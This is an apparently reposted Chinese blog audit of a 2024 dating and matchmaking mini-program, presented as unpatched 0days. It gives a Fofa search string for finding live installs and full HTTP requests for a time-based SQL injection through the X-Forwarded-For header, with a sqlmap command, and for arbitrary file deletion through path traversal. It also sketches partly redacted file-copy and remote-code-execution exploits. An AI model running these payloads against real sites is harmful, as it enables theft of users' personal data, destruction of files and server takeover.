0x00 前言
█ 纸上得来终觉浅,绝知此事要躬行 █
源码介绍:
- 红娘服务
红娘服务模块是该系统的一大特色。专业红娘会通过分析用户的个人资料和偏好,
为用户提供精准的配对建议和个性化服务。用户可以预约红娘服务,通过红娘的介入,提升配对成功率。
- 相亲活动
相亲活动模块用于组织和管理线下或线上相亲活动。用户可以报名参加系统组织的各类相亲活动,
通过集体活动认识更多异性。系统会发布活动信息,审核报名用户,并向报名成功的用户推送活动通知和后续反馈。
- 交友匹配
交友匹配模块是系统的核心功能。通过大数据分析和智能算法,系统会根据用户的资料和偏好,
为其推荐潜在的匹配对象。匹配结果会展示给用户,帮助他们找到合适的交友对象。
- 付费获取联系方式
该功能允许用户通过支付一定费用获取其他用户的联系方式。这样既能保护用户的隐私,
又能为系统带来收益。用户可以提交付费请求,通过支付系统完成支付后获取目标用户的联系方式。
- 付费交友
付费交友模块提供高级会员服务。用户可以通过支付费用成为高级会员,享受更多的高级功能和特权,
如无限制的私聊次数、优先匹配推荐等。该模块旨在为用户提供更优质的交友体验,同时实现系统的盈利。
- 私聊功能
私聊功能允许用户之间进行一对一的实时聊天。用户可以通过文字、图片等形式进行交流。
该功能支持实时消息传输,并保存聊天记录,同时会在用户收到新消息时发送通知,确保用户不错过每一条重要消息。
Fofa:"cache/areadata.js"
0x01 前台SQL注入漏洞
该系统全局引用 /sub/init.php 作为传参过滤,$_GET $_POST $_COOKIE 都被 daddslashes() 函数转义了,不好找注入点,这时可以看有无base64 或者其他未过滤的 Header 看看有无注入点.
/**************************************************
QQ:xxxxxx supdes V10
**************************************************/
error_reporting(E_ALL & ~E_NOTICE);
define('ZEAI',substr(dirname(__FILE__),0,-3));
$_ZEAI = array();require_once ZEAI.'cache/config.php';
require_once ZEAI.'sub/func.php';
$_GET = daddslashes($_GET);
$_POST = daddslashes($_POST,$_POST['ifbase64']);
$_COOKIE = daddslashes($_COOKIE);
......
>
研究了一下,系统获取ip的getip方法是通过 X-Forwarded-For 来获取IP的,且未有任何有效过滤,所以全局搜索调用该函数并进入SQL查询的地方即可找到是否有注入点.
function getip() {
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$onlineip = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
$onlineip = preg_replace("/^([d.]+).*/", "\1", $onlineip);
return $onlineip;
}
实际在 /m/my.php 找到有调用该方法的,并且将获取到的 IP 直接拼接进了SQL字句进行查询,导致漏洞产生.
ob_start();
require_once substr(dirname(__FILE__),0,-1).'sub/init.php';
if(!is_mobile())header("Location: ".Href('my'));
......
$endip=getip();
$SQL3="endtime=".ADDTIME.",endip='$endip',logincount=logincount+1";
if(empty($cook_regip))$SQL3.=",regip='$endip'";
if($_REG['auto_ifrefresh_time']==1)$SQL3.=",refresh_time=".ADDTIME;
$db->query("UPDATE ".__TBL_USER__." SET ".$SQL3." WHERE id=".$cook_uid);
if ($ifWeixinPushInfo == 1)wx_sent_kf_PushInfo($cook_openid);
ob_end_flush();
先去注册一个账号,登录,替换Cookie,即可直接使用Payload注入.
Payload:
GET /m/my.php HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Cookie: xxxxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-For: ' RLIKE SLEEP(5) AND 'fRLI'='fRLI
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Python sqlmap.py -r a.txt --level=3 --dbms=mysql
0x02 前台任意文件删除漏洞
位于 /up/up.php 中可以通过POST传入submitok后进入到guest_userdelpic分支中,并通过Unlink函数删除任意文件,其中strstr检测可直接/tmp/../回到up目录.
require_once '../sub/init.php';
require_once ZEAI.'sub/conn.php';
require_once ZEAI.'cache/config_up.php';
require_once 'photo_blur.php';
define('ZEAI2',dirname(__FILE__).DIRECTORY_SEPARATOR);
switch ($_POST['submitok']) {
case 'guest_userdelpic':
if (!empty($dbpicname)){
$dbpicnameARR = explode('|',$dbpicname);
foreach($dbpicnameARR as $valuep){if (@file_exists(ZEAI2.$valuep) && strstr($valuep,'/tmp/') )@unlink(ZEAI2.$valuep);}
}
break;
......
Payload:
POST /up/up.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1
Origin: http://127.0.0.1
Referer: http://127.0.0.1/up/up.php
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1
submitok=guest_userdelpic&dbpicname=/tmp/../config.txt
位于 /up/config.txt文件会被删除
0x03 前台任意文件复制漏洞
在 /xxxx/xxxx.php 中可以通过POST传入submitok后进入到axxxx分支中,再传入xxxxx 绕过管理鉴权,再赋值xxxxx,进入到该Case,并通过Copy函数复制任意文件.
case 'cxxx':
if (!empty($dbname2) && @file_exists($dst)){
$dst2 = mk_fdatedir($dbname2);
@copy($dst,$dst2);
}
如果将数据库的php文件复制为txt文件,则可直接被访问,达到文件读取的效果
Payload:
POST /xxxx/xxxx.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 89
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1
Origin: http://127.0.0.1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1
完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!
然后再访问 /xxxx/config.txt 即可读取到数据库文件.
0x04 前台任意文件写入漏洞(RCE)
位于 /xxxx/xxxx.php 中通过POST传入submitok后进入到默认分支中,然后再GET传入xxx=xxx 即可进入到xxxx方法,然后直接通过file_xxxxx写入任意文件,需要注意的是filename必须>13个字符.
POST /xxxx/xxxx.php?filename=xxxxxx HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 36
完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!
文件写入到 /xxxx/hacker666666.php 中
原文始发于微信公众号(星悦安全):某2024版婚恋相亲小程序系统审计(0day)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论